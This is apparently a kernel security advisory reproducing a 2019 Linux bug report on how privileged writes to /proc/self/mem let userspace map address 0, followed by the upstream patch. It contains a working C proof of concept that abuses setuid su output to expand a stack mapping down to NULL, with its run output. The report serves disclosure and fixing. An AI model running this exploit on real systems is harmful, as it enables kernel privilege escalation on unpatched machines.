Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem
2019-03-06 16:05:07By following the codepath that Andrea Arcangeli pointed out in his mails
regarding the last bug I reported, I noticed that it is possible for userspace
on a normal distro to map virtual address 0, which on an X86 system without SMAP
enables the exploitation of kernel NULL pointer dereferences.
The problem is in the following code path:
mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm
-> get_user_pages_remote -> __get_user_pages_locked -> __get_user_pages
-> find_extend_vma
Then, if the VMA in question has the VM_GROWSDOWN flag set:
expand_stack -> expand_downwards -> security_mmap_addr -> cap_mmap_addr
This, if the address is below dac_mmap_min_addr, does a capability check:
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT);
But this check is performed against current_cred(), which are the creds of the
task doing the write(), not the creds of the task whose VMA is being changed.
To reproduce:
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user@deb10:~/stackexpand$ cat nullmap.c
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
int main(void) {
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
system("head -n1 /proc/$PPID/maps");
printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}
user@deb10:~/stackexpand$ gcc -o nullmap nullmap.c && ./nullmap
00000000-00011000 rw-p 00000000 00:00 0
data at NULL: 0x706f2064696c6156
user@deb10:~/stackexpand$
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I would like it if we could just get rid of the "you can map NULL if you're
root" thing, but we probably don't want to unconditionally do that as a
backported fix.
Is there any chance that someone is legitimately using a stack that grows down
and is located in the restricted address space range? Does DOSEMU rely on stack
expansion? If not, maybe we could just change expand_downwards() to always
reject expansion below dac_mmap_min_addr no matter who you are?
A quick grep for "GROWSDOWN" in the DOSEMU sources has no results...
So, how about this patch? (Copy attached with proper indent.)
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From a237de4f41ccddf9c31935c68af4589735c8348d Mon Sep 17 00:00:00 2001
From: Jann Horn <[email protected]>
Date: Wed, 27 Feb 2019 21:29:52 +0100
Subject: [PATCH] mm: enforce min addr even if capable() in expand_downwards()
security_mmap_addr() does a capability check with current_cred(), but we
can reach this code from contexts like a VFS write handler where
current_cred() must not be used.
This can be abused on systems without SMAP to make NULL pointer
dereferences exploitable again.
Fixes: 8869477a49c3 ("security: protect from stack expantion into low vm addresses")
Cc: [email protected]
Signed-off-by: Jann Horn <[email protected]>
---
mm/mmap.c | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/mm/mmap.c b/mm/mmap.c
index f901065c4c64..fc1809b1bed6 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -2426,12 +2426,11 @@ int expand_downwards(struct vm_area_struct *vma,
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
- int error;
+ int error = 0;
address &= PAGE_MASK;
- error = security_mmap_addr(address);
- if (error)
- return error;
+ if (address < mmap_min_addr)
+ return -EPERM;
/* Enforce stack_guard_gap */
prev = vma->vm_prev;
--
2.21.0.rc2.261.ga7da99ff1b-goog
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